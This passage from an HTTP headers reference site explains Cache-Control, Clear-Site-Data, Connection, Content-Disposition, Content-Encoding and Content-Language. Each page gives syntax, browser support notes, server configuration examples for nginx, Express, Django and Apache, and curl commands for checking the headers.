Remember `add_header` in a `location` discards all `add_header` lines inherited from the enclosing `server` block. ```nginx location ~* \.(?:js|css|woff2|png|jpg|svg)$ { add_header Cache-Control "public, max-age=31536000, immutable"; } location / { add_header Cache-Control "no-cache"; } ``` **Next.js.** Files under `/_next/static` already get `public, max-age=31536000, immutable`. Pages and route handlers need explicit values, either in the response or in config: ```javascript // next.config.js module.exports = { async headers() { return [ { source: '/api/articles', headers: [ { key: 'Cache-Control', value: 'public, s-maxage=60, stale-while-revalidate=300' } ] } ] } } ``` **Cloudflare.** By default it caches by file extension (static assets), not HTML or JSON, and its Browser Cache TTL setting can override the browser-facing `max-age`. To cache HTML, create a Cache Rule ("Eligible for cache") and choose "Use cache-control header if present" or set an Edge TTL. Read `CF-Cache-Status`: `HIT`, `MISS`, `DYNAMIC` (not eligible), `BYPASS`, `REVALIDATED`, `EXPIRED`. **CloudFront.** A cache policy sets minimum, default and maximum TTL. The origin's `max-age` is clamped between minimum and maximum, so a non-zero minimum TTL can cache responses the origin marked `no-cache`. Look for `X-Cache: Hit from cloudfront` and the `Age` header. ## Check what you are getting ```bash curl -sI https://example.com/app.js | grep -iE '^(cache-control|age|etag|expires|vary|cf-cache-status|x-cache)' ``` ```text cache-control: public, max-age=31536000, immutable age: 4821 cf-cache-status: HIT ``` Test the revalidation round trip: ```bash curl -sI https://example.com/ -H 'If-None-Match: "9f2c"' | head -1 ``` `HTTP/2 304` means validation works. In Chrome DevTools, "Disable cache" sends `Cache-Control: no-cache` on requests, which can hide caching bugs while DevTools is open. ## Common mistakes - Caching personalised responses with `public`, or behind a CDN rule that ignores `Vary` and `Set-Cookie`, so one user receives another's page. - A long `max-age` on a URL that is not versioned. Browsers will not ask again until it expires and you cannot recall the copy. - Mixing `Expires` and `max-age` with different values. When `max-age` is present `Expires` is ignored, so keep only one. - Omitting `Vary: Accept-Encoding` or `Vary: Origin` when the body differs, which poisons shared caches. See [Vary](https://howhttpworks.com/headers/vary). - Using `no-cache` and expecting no stored copy. The response is stored; it is just revalidated. ## Related - [ETag](https://howhttpworks.com/headers/etag), [Last-Modified](https://howhttpworks.com/headers/last-modified), [Expires](https://howhttpworks.com/headers/expires), [Age](https://howhttpworks.com/headers/age), [Vary](https://howhttpworks.com/headers/vary) - [If-None-Match](https://howhttpworks.com/headers/if-none-match) and [304 Not Modified](https://howhttpworks.com/status-codes/304) - [HTTP caching guide](https://howhttpworks.com/guides/headers-and-caching) and the [Cache builder](https://howhttpworks.com/tools/cache-builder) --- # Clear-Site-Data Header: Logout and Wipe Browser Data > Clear-Site-Data tells the browser to delete cookies, storage and cache on logout. Directives, quoting rules, HTTPS-only limits, browser gaps, Express and nginx. Source: https://howhttpworks.com/headers/clear-site-data Last reviewed: 2026-10-04 > **TL;DR:** Send `Clear-Site-Data: "cache", "cookies", "storage"` on your logout response over HTTPS and the browser wipes cookies, `localStorage`, `IndexedDB` and cached pages for the site. Directive names must be quoted, and support differs by directive and browser, so it is cleanup on top of server-side session invalidation, not a replacement. ## Syntax ```http HTTP/1.1 204 No Content Clear-Site-Data: "cache", "cookies", "storage" Cache-Control: no-store ``` The directives are quoted strings separated by commas. An unquoted `Clear-Site-Data: cookies` is invalid and ignored. The header is honoured only in secure contexts: HTTPS, and `localhost` while developing. ## Directives From MDN and the W3C spec: | Directive | Clears | | --- | --- | | `"cache"` | Locally cached data: HTTP cache, prerendered pages, back/forward cache, script and WebGL shader caches, address bar suggestions. | | `"cookies"` | All cookies for the origin, including `HttpOnly` ones, plus HTTP authentication credentials. | | `"storage"` | DOM storage: `localStorage`, `sessionStorage`, `IndexedDB`, service worker registrations, the File System API data and similar. | | `"executionContexts"` | Reloads all open browsing contexts (tabs) for the origin. | | `"clientHints"` | Stored client hints from `Accept-CH`. Redundant when `"cache"`, `"cookies"` or `"*"` is present in supporting browsers. | | `"prefetchCache"` | Speculation-rules prefetches. | | `"prerenderCache"` | Speculation-rules prerenders. | | `"*"` | Every data type the browser supports now and in future, which is why a future browser update can clear more than you tested. | MDN's own sign-out example lists the specific directives rather than the wildcard: ```http Clear-Site-Data: "cache", "cookies", "storage", "executionContexts", "prefetchCache", "prerenderCache" ``` ## Browser support From MDN's browser-compat-data, which is the source to recheck before relying on this: - The header as a whole: Chrome 61, Firefox 63, Safari 17. - `"cookies"` and `"storage"`: supported in all three. These two are the dependable core of a logout. - `"cache"`: Chrome 61 and later with caveats. MDN records that Chrome may still serve some requests from the cache until the tab is reloaded, and that the directive can cause hangs of seconds (Chromium bug 40233601). Firefox removed it in 94 and re-added it in 138. Safari 17. - `"executionContexts"`: not implemented in Chrome. Removed from Firefox in 68 and from Safari in 18.3. Do not rely on it to log out other tabs; use a `BroadcastChannel` or the `storage` event instead. - `"clientHints"`: Chrome 117 only. `"prefetchCache"` and `"prerenderCache"`: Chrome 138 only. ## Logout implementation ```javascript app.post('/logout', async (req, res) => { await sessionStore.destroy(req.sessionID) // the real logout res.set('Cache-Control', 'no-store') res.set('Clear-Site-Data', '"cache", "cookies", "storage"') res.status(204).end() }) ``` In nginx, when the logout endpoint is a static page or you front the app: ```nginx location = /logout { add_header Clear-Site-Data '"cache", "cookies", "storage"' always; add_header Cache-Control "no-store" always; proxy_pass http://app; } ``` Use single quotes around the nginx value so the inner double quotes survive. Details that matter: - Invalidate the session on the server first. If the cookie is deleted but the session ID stays valid, anyone who copied the cookie is still logged in. - Send it on a response the browser fully processes, such as a 200 or 204 from the logout endpoint. - It must come from the origin whose data you are clearing. A different origin's `Clear-Site-Data` cannot wipe yours. - Keep `Cache-Control: no-store` on the logout response so a CDN or the browser does not replay a cached copy. - The scope extends to the registered domain, including subdomains such as `stage.example.com`, per MDN. A logout on `app.example.com` can clear cookies shared with `www.example.com`. That is often what you want and occasionally a surprise. - If the logout is a `fetch()` call, navigate to the login page yourself afterwards with `location.assign('/login')`. ## When not to use `"cache"` Wiping the whole HTTP cache forces the next page to refetch fonts, scripts and images for the site, and the Chromium hang reports make it a cost on slow devices. Authenticated HTML that should never be reused is better handled with `Cache-Control: no-store` when it is served. Reserve `"cache"` for shared-device logout or account deletion. ## Related - [Set-Cookie](https://howhttpworks.com/headers/set-cookie) for expiring a single cookie instead, and [cookie security](https://howhttpworks.com/guides/cookie-security) - [Cache-Control](https://howhttpworks.com/headers/cache-control): `no-store` prevents the data being stored in the first place - [Sessions and state](https://howhttpworks.com/guides/sessions-and-state) --- # Connection Header > Learn how the Connection header controls whether HTTP connections stay open (keep-alive) or close after each request. Optimize with persistent connections. Source: https://howhttpworks.com/headers/connection Last reviewed: 2026-10-05 > **TL;DR:** `Connection` controls the current HTTP/1.x connection. HTTP/1.1 keeps connections open by default, so you rarely need `Connection: keep-alive`; send `Connection: close` when you want the connection shut after this response. It also lists hop-by-hop headers that proxies must strip. HTTP/2 and HTTP/3 forbid it entirely. `Connection` only covers the connection it travels on. A reverse proxy holds two separate connections, one to the client and one upstream. If a client sends `Connection: close`, that applies to the client-facing hop; the proxy makes its own choices for the upstream side. ## How Connection Works This request asks the server to close the connection once it has responded (examples on this page are trimmed): ```http GET / HTTP/1.1 Host: example.com Connection: close ``` The connection closes after the response, not the moment the header arrives. Without `close`, either side may reuse the connection, but either side may also close it when it goes idle; nobody promises to keep it open forever. See [RFC 9112 §9.3](https://www.rfc-editor.org/rfc/rfc9112#section-9.3). ## Syntax The value is a comma-separated list of case-insensitive tokens. Listing a header name marks that header as connection-specific, as with `Example-Hop` here: ```http Connection: Example-Hop, close Example-Hop: diagnostic-value ``` Before forwarding, an intermediary strips `Connection`, every header it names, and the other known connection-specific headers. [RFC 9110 §7.6.1](https://www.rfc-editor.org/rfc/rfc9110#section-7.6.1) defines the rules. ## HTTP Version Differences | Protocol | Connection handling | | --- | --- | | HTTP/1.0 | Close by default; historical keep-alive extension is implementation-dependent. | | HTTP/1.1 | Persistent by default; `close` ends reuse after the response. | | HTTP/2 and HTTP/3 | `Connection` is forbidden, making the message malformed. | HTTP/1.0 closes after each response unless both sides support the old `Connection: keep-alive` extension. HTTP/1.1 flipped the default to persistent. HTTP/2 and HTTP/3 go further: a connection-specific header isn't a harmless hint there, it makes the message malformed. ## Common Examples In an HTTP/1.1 WebSocket handshake, the client sends this pair: ```http Connection: Upgrade Upgrade: websocket ``` That's only part of the handshake. The request also needs the headers described on [Sec-WebSocket-Key](https://howhttpworks.com/headers/sec-websocket-key). ## Real-World Scenarios ### Draining an HTTP server `Connection: close` on a response ends reuse of that one connection; the server keeps listening. To shut down a Node HTTP/1.1 service cleanly, call `server.close()`, which stops accepting new connections and waits for active requests. This complete Express example also adds `Connection: close` to responses started while draining: ```javascript import express from 'express' import http from 'node:http' const app = express() let draining = false app.use((req, res, next) => { if (draining) res.setHeader('Connection', 'close') next() }) app.get('/health', (req, res) => { res.status(draining ? 503 : 200).json({ ready: !draining }) }) app.get('/', (req, res) => res.json({ status: 'ok' })) const server = http.createServer(app) server.listen(3000, '127.0.0.1') process.once('SIGTERM', () => { draining = true server.close((error) => { if (error) console.error(error) process.exitCode = error ? 1 : 0 }) }) ``` Install Express with `pnpm add express`, save as `app.mjs`, and run `node app.mjs`. [Node documents `server.close()`](https://nodejs.org/api/http.html#serverclosecallback), including what it does with idle connections. Upgraded WebSocket connections need their own shutdown logic. Health checks are ordinary requests here; there's no need to close connections just because a health check came in. ### Long polling is an active request A long-poll handler deliberately waits before responding. `Keep-Alive: timeout=60` is about idle time between requests, so it says nothing about a 60-second wait inside the handler; that's governed by the reverse proxy's upstream read timeout, which you check separately. Once the poll returns, even as a 204 with no body, HTTP/1.1 can reuse the connection. So there are two different timeouts in play: one that fires while the poll is pending, and one that reclaims the idle connection afterwards. To tell them apart, log when the request enters the handler, when headers are written, and when the socket closes. ## Keep-Alive Parameters [Keep-Alive](https://howhttpworks.com/headers/keep-alive) can advertise idle-time and request-count hints, but sending the header changes nothing about how the server actually handles sockets. Configure the real limits on the server. In Node, set the idle timeout and request count like this: ```javascript server.keepAliveTimeout = 5000 // chosen idle timeout, milliseconds server.maxRequestsPerSocket = 100 // chosen requests per socket ``` These go on an existing `http.Server` and only affect Node's side; a load balancer's connection pool has its own settings. `maxHeadersCount` is unrelated despite the name: it limits the number of header fields in a message. Behind a load balancer, make the backend's idle timeout longer than the balancer's. AWS ALB defaults to 60 seconds; if the app closes idle connections first, the balancer can send a request down a socket the app just closed and return a 502. For Node behind an ALB, `server.keepAliveTimeout = 65000` is the usual setting. The [nginx 502 guide](https://howhttpworks.com/debug/nginx-502-bad-gateway) walks through this race. ## Getting Connection right Keep application sessions and transport connections separate. A user logging out is no reason to close a socket; the two have different lifetimes. In browser JavaScript, `Connection` is a [forbidden request header](https://fetch.spec.whatwg.org/#forbidden-request-header), so the browser manages it for you. ## Connection Pooling Node's HTTP client reuses connections through an `http.Agent`, passed to `http.get()` or `http.request()`. This runnable example reads each response fully before sending the next request, then destroys the pool: ```javascript import http from 'node:http' const agent = new http.Agent({ keepAlive: true }) function get(url) { return new Promise((resolve, reject) => { http.get(url, { agent }, (res) => { res.resume() res.on('end', resolve) res.on('error', reject) }).on('error', reject) }) } try { await get('http://localhost:3000/') await get('http://localhost:3000/') } finally { agent.destroy() } ``` This is the [`node:http` Agent API](https://nodejs.org/api/http.html#class-httpagent). Other clients, including various `fetch()` implementations, have their own pooling options, so check before passing an `agent`. For a busy client, cap active and idle sockets while keeping reuse on. Swap the Agent declaration above for something like this: ```javascript const agent = new http.Agent({ keepAlive: true, maxSockets: 20, maxFreeSockets: 5, maxTotalSockets: 40 }) ``` `maxSockets` is per host, and `maxTotalSockets` covers every host the Agent talks to. Requests over the active limit wait in a queue. `maxFreeSockets` caps idle sockets in the pool; it doesn't limit concurrency. Pick numbers that fit your traffic; these are examples. In the browser, the browser owns the pool. Parallel `fetch()` calls may share connections, open new ones, or ride multiplexed streams, so the number of promises tells you nothing about the number of connections. ## Debugging Connection Issues Force HTTP/1.1 when you test these headers; over HTTPS, curl will otherwise negotiate HTTP/2 if the server offers it: ```bash curl --http1.1 -v https://example.com/ https://example.com/ -o /dev/null ``` Put both URLs in one curl command, as above. Separate curl invocations each start with an empty pool, so they can't reuse anything. In the verbose output, look for curl's messages about reusing or closing the connection; a `Connection: keep-alive` header on its own tells you little. To see reuse from the server side, attach listeners once per connection. Add this to the Node server above, before `listen()`: ```javascript let nextSocketId = 0 const socketIds = new WeakMap() server.on('connection', (socket) => { const id = ++nextSocketId socketIds.set(socket, id) console.log('opened', id) socket.on('close', () => console.log('closed', id)) }) server.on('request', (req) => { console.log('request', socketIds.get(req.socket), req.method, req.url) }) ``` When the same ID shows up on several requests, this Node process served them over one socket. Behind nginx, that's reuse between nginx and Node; browser-to-nginx reuse is a separate connection you'd check at nginx. Logging `remotePort` alone is weaker, since ports get reused across restarts. The socket comes from [Node's connection event](https://nodejs.org/api/http.html#event-connection). If a connection closes after every request, check the response framing before blaming configuration. An HTTP/1.1 response with neither `Content-Length` nor chunked encoding may mark the end of its body by closing the connection, and then that socket can't carry another response. HEAD responses, 204 and 304 follow different body rules. [RFC 9112 §6.3](https://www.rfc-editor.org/rfc/rfc9112#section-6.3) sets out the order of precedence. To see headers and bytes together on your own service: ```bash curl --http1.1 --trace-ascii - http://127.0.0.1:3000/ -o /dev/null ``` Trace output includes credentials and body data, so run it against an unauthenticated local request. On the client side, make sure your code reads the whole response body. A connection only becomes available for the next request once the current body has been consumed. ## Testing Send the same request with an explicit close and compare the verbose output: ```bash curl --http1.1 -v -H 'Connection: close' https://example.com/ -o /dev/null ``` ## HTTP/2 and the Connection Header In HTTP/2 and HTTP/3, a message containing `Connection` is malformed ([RFC 9113 §8.2.2](https://www.rfc-editor.org/rfc/rfc9113#section-8.2.2), [RFC 9114 §4.2](https://www.rfc-editor.org/rfc/rfc9114#section-4.2)). Strip it when you translate HTTP/1.1 traffic to either protocol. If you don't, clients reject the response; in Chrome it shows up as [ERR_HTTP2_PROTOCOL_ERROR](https://howhttpworks.com/debug/err-http2-protocol-error). ## Related Headers - [Keep-Alive](https://howhttpworks.com/headers/keep-alive) - [Upgrade](https://howhttpworks.com/headers/upgrade) - [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding) — chunked framing can permit HTTP/1.1 reuse without Content-Length. - [Content-Length](https://howhttpworks.com/headers/content-length) --- # Content-Disposition Header > Learn how the Content-Disposition header controls whether content displays inline or downloads as an attachment. Set custom filenames for file downloads. Source: https://howhttpworks.com/headers/content-disposition Last reviewed: 2026-10-05 > **TL;DR:** `Content-Disposition: attachment` tells the browser to download the response instead of displaying it; `inline` (the default behavior) displays it. Add `filename="report.pdf"` to suggest an ASCII save name, and `filename*=UTF-8''...` for a name with non-ASCII characters. The filename is only a suggestion, and receivers treat it as untrusted input. ## What is Content-Disposition? On a response, `inline` asks the browser to handle the content normally for its media type, and `attachment` asks it to save the file. The browser still has the final say: user settings and its own handling decide whether you get a dialog or a direct save. [RFC 6266 §4.2](https://www.rfc-editor.org/rfc/rfc6266#section-4.2) defines both disposition types. ## How Content-Disposition Works A download response looks like this (example headers, PDF body left out): ```http HTTP/1.1 200 OK Content-Type: application/pdf Content-Disposition: attachment; filename="report.pdf" ``` `Content-Type` still says what the file is. The disposition only changes how the browser handles it, so marking HTML as an attachment downloads HTML. ## Syntax ```http Content-Disposition: inline Content-Disposition: attachment; filename="report.pdf" Content-Disposition: attachment; filename="report.pdf"; filename*=UTF-8''rapport-%C3%A9t%C3%A9.pdf ``` Those are two single apostrophes after `UTF-8`, with an empty language tag between them, not a double quote. Each parameter can appear once; repeating a name makes the whole field invalid. ## Common Examples Quote an ASCII name that contains spaces: ```http Content-Disposition: attachment; filename="monthly report.csv" ``` For international names, send an ASCII fallback in `filename` and the real name in `filename*`. Browsers that understand both use `filename*`. ## Real-World Scenarios For a CSV export, send `Content-Type: text/csv` and a disposition that names the file. On a same-origin link, the HTML `download` attribute can override `inline` in Chrome and Firefox; [MDN's handling notes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Disposition) have the details. A preview endpoint and a download endpoint can serve identical PDF bytes. Send `inline` for the preview and `attachment` for the download, and keep `application/pdf` on both. The only difference is what you're asking the browser to do with it. A plain link is all you need for a download: ```html Download the report ``` The response headers decide the disposition. If you reach for the `` attribute instead, it only works for same-origin URLs and `blob:` or `data:` URLs, per [MDN's anchor reference](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/a#download). ## Server Implementation In nginx, add this to a `server` block. The route returns a tiny CSV: ```nginx location = /export.csv { default_type text/csv; add_header Content-Disposition 'attachment; filename="export.csv"'; return 200 "status\nready\n"; } ``` [`add_header`](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) adds the disposition and [`default_type`](https://nginx.org/en/docs/http/ngx_http_core_module.html#default_type) sets the media type. Let `default_type` own `Content-Type`; adding another one with `add_header` gives you two. In Express, let the download helpers build the filename parameter for you: ```javascript app.get('/report.pdf', (req, res, next) => { res.download('/srv/reports/report.pdf', 'report.pdf', err => { if (err) next(err) }) }) app.get('/export.csv', (req, res) => { res.attachment('export.csv').send('status\nready\n') }) ``` [`res.download()`](https://expressjs.com/en/5x/api/response/#res.download) sends a file from disk. `res.attachment()` only sets the disposition and guesses a media type from the extension; you send the body yourself. Both paths here are fixed server paths, so a request parameter can't steer them anywhere. If you build a path from user input, validate it first. A download can fail after the headers are already out, which is why the callback passes the error to the app's error handler instead of trying to start a second response. In Django, use [`FileResponse`](https://docs.djangoproject.com/en/6.0/ref/request-response/#fileresponse-objects): ```python from django.http import FileResponse def download_report(request): return FileResponse( open('/srv/reports/report.pdf', 'rb'), as_attachment=True, filename='report.pdf', ) ``` Django closes the file for you once the response is sent. A `with` block would close it too early, before the response body is read. Both examples assume the file exists and that you've checked authorization before opening it. With Apache and `mod_headers` loaded, a file-scoped rule marks CSV exports as attachments: ```apache Header set Content-Disposition "attachment; filename=export.csv" ``` The filename can go unquoted here because it has no spaces or separator characters. If other directories have files with the same name, scope the rule to the export directory. The rule only sets the disposition; Apache's normal file handler still serves the body and media type. ## Getting Content-Disposition right Treat filenames as advisory. Whenever your code receives one, from a download or an upload, strip path components, reject control characters and unsafe names, and decide whether a file is executable by something sturdier than its extension. RFC 6266 §4.3 lists these receiver-side precautions. When sending, keep raw user input out of response headers. A value like `filename="../../report.pdf"` should never let a receiver write outside its download directory, and a suggested name should never decide whether an upload is safe to process. When sending, look the file up from an authorized record and pick the save name separately. The path on disk and the name the user sees do different jobs. ## Filename Encoding `filename*` uses the extended parameter syntax, now specified in [RFC 8187](https://www.rfc-editor.org/rfc/rfc8187#section-3.2.1): percent-encode the UTF-8 bytes. Keep percent escapes out of the plain `filename`, since browsers disagree about whether to decode them. For a known name your application controls, you can build the extended value in JavaScript: ```javascript const filename = 'rapport-été.pdf' const encoded = encodeURIComponent(filename).replace( /['()*]/g, character => `%${character.charCodeAt(0).toString(16).toUpperCase()}` ) res.set('Content-Disposition', `attachment; filename="rapport-ete.pdf"; filename*=UTF-8''${encoded}`) ``` `encodeURIComponent()` leaves a few characters unescaped that this parameter syntax doesn't allow literally, and the extra `replace` escapes them. Pick the ASCII fallback yourself. Encoding makes a name transmittable; it doesn't make it a safe name. ## Form Data Usage Inside `multipart/form-data`, the same header describes one part of the body, not the whole response. Part headers look like this: ```http Content-Disposition: form-data; name="upload"; filename="report.pdf" Content-Type: application/pdf ``` [`name` identifies the form field](https://www.rfc-editor.org/rfc/rfc7578#section-4.2). RFC 7578 forbids `filename*` in form-data parts, so download syntax and upload-part syntax aren't interchangeable. Let curl build the multipart body and boundary for you: ```bash curl -v -F 'upload=@report.pdf;type=application/pdf' https://example.com/upload ``` [`-F`](https://curl.se/docs/manpage.html#--form) assembles the multipart body and the `Content-Type` boundary. Whatever receives the upload still has to validate it, because the sender supplies both the part's media type and its filename. ## Testing Content-Disposition Check a GET response's headers without saving the body: ```bash curl -sS -D - -o /dev/null https://example.com/export.csv ``` Then open the download URL in a browser. `fetch()` just retrieves a response; it never opens a save dialog by itself. If cross-origin JavaScript needs to read this header, expose it with `Access-Control-Expose-Headers: Content-Disposition` alongside the rest of your CORS policy, as the [Fetch Standard](https://fetch.spec.whatwg.org/#http-access-control-expose-headers) defines. When the app needs to check a response before offering it as a download, validate the status and then create a blob URL: ```javascript async function downloadReport() { const response = await fetch('/report.pdf') if (!response.ok) throw new Error(`HTTP ${response.status}`) const url = URL.createObjectURL(await response.blob()) const link = document.createElement('a') link.href = url link.download = 'report.pdf' document.body.append(link) link.click() link.remove() return url } ``` This uses a fixed filename rather than parsing `Content-Disposition`. Once the download UI is done with the URL, call [`URL.revokeObjectURL(url)`](https://developer.mozilla.org/en-US/docs/Web/API/URL/revokeObjectURL_static) to free it. Keep in mind that [`response.blob()`](https://developer.mozilla.org/en-US/docs/Web/API/Response/blob) reads the entire body into memory first, so for big files a direct link that the browser streams to disk is the better choice. ## Related Headers - [Content-Type](https://howhttpworks.com/headers/content-type) - [Content-Length](https://howhttpworks.com/headers/content-length) - [Content-Encoding](https://howhttpworks.com/headers/content-encoding) --- # Content-Encoding > Learn how Content-Encoding specifies compression algorithms (gzip, br, deflate) used to encode response bodies. Reduce bandwidth and improve load times. Source: https://howhttpworks.com/headers/content-encoding Last reviewed: 2026-10-04 > **TL;DR:** Names the compression applied to the response body (`gzip`, `br`, `zstd`, rarely `deflate`). The client undoes it before using the body. Servers should only pick an encoding the client listed in `Accept-Encoding`, and add `Vary: Accept-Encoding` so caches keep the variants apart. ## What is Content-Encoding? **Content-Encoding** tells the browser how the response body has been compressed or encoded. It's like a label on a compressed file that says "this was zipped with gzip" so the browser knows how to decompress it. Text formats such as HTML, CSS, JavaScript and JSON usually shrink a lot; how much depends on the content, so measure your own responses (see below). The [HTTP compression guide](https://howhttpworks.com/guides/http-compression) covers choosing between gzip, Brotli and zstd in depth. ## How It Works **1. Browser requests with compression support:** ```http GET /style.css HTTP/1.1 Host: example.com Accept-Encoding: gzip, deflate, br ``` **2. Server compresses response and adds header:** ```http HTTP/1.1 200 OK Content-Type: text/css Content-Encoding: gzip Content-Length: 1234 [compressed CSS data] ``` **3. Browser automatically decompresses** the response before using it. ## Common Encoding Types ### gzip Most widely supported compression: ```http Content-Encoding: gzip ``` - Supported by all modern browsers - Good compression on text at low CPU cost - Fast compression/decompression ### br (Brotli) Modern compression algorithm: ```http Content-Encoding: br ``` - Usually smaller output than gzip on text - Supported by all current browsers - High levels are slow to compress, so large static files are often compressed once at build time ### zstd (Zstandard) ```http Content-Encoding: zstd ``` - Defined for HTTP in RFC 8878 - Supported in Chrome and Edge 123+ and Firefox 126+; Safari support is partial (see the [compression guide](https://howhttpworks.com/guides/http-compression) for details as of October 2026) - Fast to compress, which suits dynamic responses ### deflate Older compression method: ```http Content-Encoding: deflate ``` - Less efficient than gzip - Rarely used today ### identity No compression (default): ```http Content-Encoding: identity ``` - Usually omitted when no compression is used ## Multiple Encodings You can apply multiple encodings in order: ```http Content-Encoding: gzip, deflate ``` Browser decompresses in reverse order: deflate first, then gzip. ## Measure the savings on your own responses Compression ratios depend on the content, so check your real responses instead of trusting a rule of thumb: ```bash for enc in identity gzip br zstd; do printf '%-8s ' "$enc" curl -s -H "Accept-Encoding: $enc" -o /dev/null -w '%{size_download} bytes\n' https://example.com/app.js done ``` If every line shows the same size, the server ignored the encoding you asked for. ## What Gets Compressed **✅ Compress these:** - HTML, CSS, JavaScript - JSON, XML, SVG - Text files, and TTF/OTF fonts (WOFF2 is already Brotli-compressed) - Any text-based content **❌ Don't compress these:** - Images (JPEG, PNG, WebP) - already compressed - Videos (MP4, WebM) - already compressed - Audio files (MP3, AAC) - already compressed - Already compressed files (ZIP, GZIP) ## Server Configuration ### Apache ```apache # Enable gzip compression LoadModule deflate_module modules/mod_deflate.so AddOutputFilterByType DEFLATE text/html text/css text/javascript AddOutputFilterByType DEFLATE application/javascript application/json ``` ### Nginx ```nginx # Enable gzip compression gzip on; gzip_types text/css text/javascript application/javascript application/json; gzip_min_length 1000; ``` ### Node.js (Express) ```javascript const compression = require('compression') app.use(compression()) ``` ## Browser Support - **gzip:** every browser and HTTP client - **br:** all current browsers - **zstd:** Chrome and Edge 123+, Firefox 126+; Safari partial - **deflate:** accepted widely but rarely used, partly because early implementations disagreed on whether it meant raw DEFLATE or zlib-wrapped data Because a server should only send an encoding the client listed in `Accept-Encoding`, enabling a newer one does not break older clients as long as gzip stays on. ## Security Considerations **BREACH Attack:** Compression can leak information when: - Response contains user secrets (CSRF tokens) - Response reflects user input - Response is compressed **Mitigation:** - Don't compress responses with secrets - Use random padding - Separate secret data from user input ## Getting Content-Encoding right **1. Always compress text-based content:** ```http Content-Encoding: gzip ``` **2. Use Brotli for modern browsers:** ```http Content-Encoding: br ``` **3. Set minimum file size threshold:** ```text Only compress files > 1KB ``` **4. Don't compress already-compressed files:** ```http Skip: .jpg, .png, .mp4, .zip ``` **5. Check what you actually send:** ```bash curl -sI -H 'Accept-Encoding: br, gzip' https://example.com/ | grep -i -E 'content-encoding|vary' ``` ## Common Issues **Problem:** Content appears garbled **Solution:** Server sent compressed data but forgot `Content-Encoding` header **Problem:** Slow compression **Solution:** Use faster compression levels or cache compressed versions **Problem:** Double compression **Solution:** Don't compress already-compressed files ## Related Headers - [Accept-Encoding](https://howhttpworks.com/headers/accept-encoding) - Client's supported compression methods - [Content-Length](https://howhttpworks.com/headers/content-length) - Size of compressed content - [Content-Type](https://howhttpworks.com/headers/content-type) - Type of content being compressed - [Vary](https://howhttpworks.com/headers/vary) - Cache different compressed versions --- # Content-Language Header > Learn how the Content-Language header specifies the natural language(s) of response content. Understand language tags and internationalization best practices. Source: https://howhttpworks.com/headers/content-language Last reviewed: 2026-10-05 > **TL;DR:** `Content-Language` is a response header that says who the content is for, such as `Content-Language: en-US`. It names the intended audience, not every language that appears in the text. To mark the language of the text itself, use the HTML `lang` attribute. ## What is Content-Language? Picture a German course written for English speakers. It's full of German examples, but its audience is English readers, so `Content-Language: en` is right. Audience and text language are different ideas. [RFC 9110 §8.5](https://www.rfc-editor.org/rfc/rfc9110#section-8.5) defines the audience meaning. ## How Content-Language Works Response headers with the body omitted (headers on this page are trimmed examples): ```http HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en ``` When the field is missing, the content is meant for every language audience. A missing header doesn't mean "English", and the header has nothing to do with character encoding either way. ## Syntax ```http Content-Language: en-US Content-Language: en, fr ``` Use plain language tags. `q` weights and `*` belong in requests, not here. List several tags when the content serves several audiences. [MDN gives the syntax and audience examples](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Language). ## Common Examples `Content-Language: en, fr` fits content written for both English and French readers. An English article that quotes one French sentence is still for English readers, so `en` is enough. Take a bilingual instruction sheet with the complete instructions in both English and French. Either group can use it, so `en, fr` describes its audience. A vocabulary worksheet that teaches French through English explanations is for English speakers, so it declares `en`. In that worksheet, mark the French text where it appears: ```html

The French word for bread is pain.

``` The header can't do this job for you. Screen readers and speech software need to know exactly where pronunciation changes, not just who the server thinks will read the page. ## Real-World Scenarios Say `/welcome` negotiates language and picks French. It returns `Content-Language: fr` with `Vary: Accept-Language`. A fixed `/fr/welcome` route doesn't need that `Vary`, because `Accept-Language` doesn't change its response. APIs can localize too. A French response keeps the key `status` and translates the human-readable value. `Content-Language: fr` covers the messages; protocol tokens and JSON property names stay as they are. For a response negotiated between two translations: ```http Content-Type: application/json Content-Language: fr Vary: Accept-Language ``` If the resource always contains both translations, its audience might be `en, fr`, and it has no reason to vary by the request's language preference. Set the header from what you actually send, rather than copying the request field. ## Server Implementation This nginx route goes inside a `server` block: ```nginx location = /welcome.fr.txt { default_type text/plain; charset utf-8; add_header Content-Language fr; return 200 "Bienvenue\n"; } ``` [`add_header`](https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header) sets the audience and the [charset module](https://nginx.org/en/docs/http/ngx_http_charset_module.html) sets UTF-8. This route always serves French; nothing is negotiated. An Express route can pick from the translations the app has: ```javascript const greetings = { en: 'Welcome', fr: 'Bienvenue' } app.get('/welcome', (req, res) => { res.vary('Accept-Language') const language = req.acceptsLanguages(['en', 'fr']) || 'en' res.set('Content-Language', language) res.json({ message: greetings[language] }) }) ``` When nothing matches, this route falls back to English. Note that the header carries the language the route chose, not the client's whole preference list. [Express's request API](https://expressjs.com/en/5x/api/request/#req.acceptsLanguages) documents the matching helper. A fixed French Django view needs no negotiation at all: ```python from django.http import JsonResponse def welcome_fr(request): response = JsonResponse({'message': 'Bienvenue'}) response['Content-Language'] = 'fr' return response ``` Set the header on the response object the view returns. [Django response objects](https://docs.djangoproject.com/en/6.0/ref/request-response/#setting-header-fields) support dictionary-style header assignment. For Apache serving a directory of French documents, with `mod_headers` loaded: ```apache Header set Content-Language "fr" ``` [`Header set`](https://httpd.apache.org/docs/2.4/mod/mod_headers.html#header) replaces any existing value. Keep it scoped to the French documents. Set it site-wide and every other translation gets labeled French too. ## Getting Content-Language right In HTML, mark the document language and any language changes in the markup: ```html French lesson

The French greeting is bonjour.

``` The [HTML Standard](https://html.spec.whatwg.org/multipage/semantics.html#the-html-element) recommends a root language declaration to help speech synthesis and translation tools. The audience header doesn't have to match every `lang` attribute on the page. Language and writing direction are separate settings. For an Arabic document, declare both the language and the layout direction: ```html مرحبا

مرحبا

